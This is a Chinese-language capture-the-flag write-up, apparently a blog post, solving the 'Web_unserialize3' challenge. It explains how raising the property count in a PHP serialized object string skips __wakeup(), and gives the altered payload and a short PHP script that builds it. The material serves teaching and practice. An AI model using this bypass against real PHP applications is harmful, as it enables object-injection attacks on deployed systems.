shacker_shen

导航

攻防世界之Web_unserialize3

题目:

 直接给源码,审计代码,又是一题反序列化的。传送门:反序列化漏洞

【原理】

PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。

当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。

解题思路:

1.打开题目,进行代码审计,可以看到xctf类只拥有一个public的flag变量,值为111。

2.public属性序列化后格式为:数据类型:属性名长度:"属性名";属性值个数:{数据类型:属性值长度:"属性值";}

3.本题目中,只存在一个变量,正常情况下序列化后,如下所示

 O:4:"xctf":1:{s:4:"flag";s:3:"111";}

4.将设置属性值为2,可导致反序列化异常,如下所示。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

将修改后的code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}加入url中看看结果

 

 

代码如下:https://tool.lu/coderunner/?id=c7R在线运行代码工具。

 1 <?php
 2 class xctf{
 3 public $flag = '111';
 4 public function __wakeup(){
 5 exit('bad requests');
 6 }
 7 }
 8 // ?code=
 9 $a = new xctf("111");    // 创建一个对象
10 echo serialize($a)."\n";    // 序列化
11 // 序列化结果  O:4:"xctf":1:{s:4:"flag";s:3:"111";}
12 $b = serialize($a);
13 $b = str_replace(':1:',':2:',$b);    // 当成员属性数目大于实际数目时可绕过wakeup方法
14 echo $b."\n";
15 // 修改后结果  O:4:"xctf":2:{s:4:"flag";s:3:"111";}

==================================================

总结:

当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。

 

posted on 2022-02-23 21:52  shacker_shen  阅读(36)  评论(0编辑  收藏  举报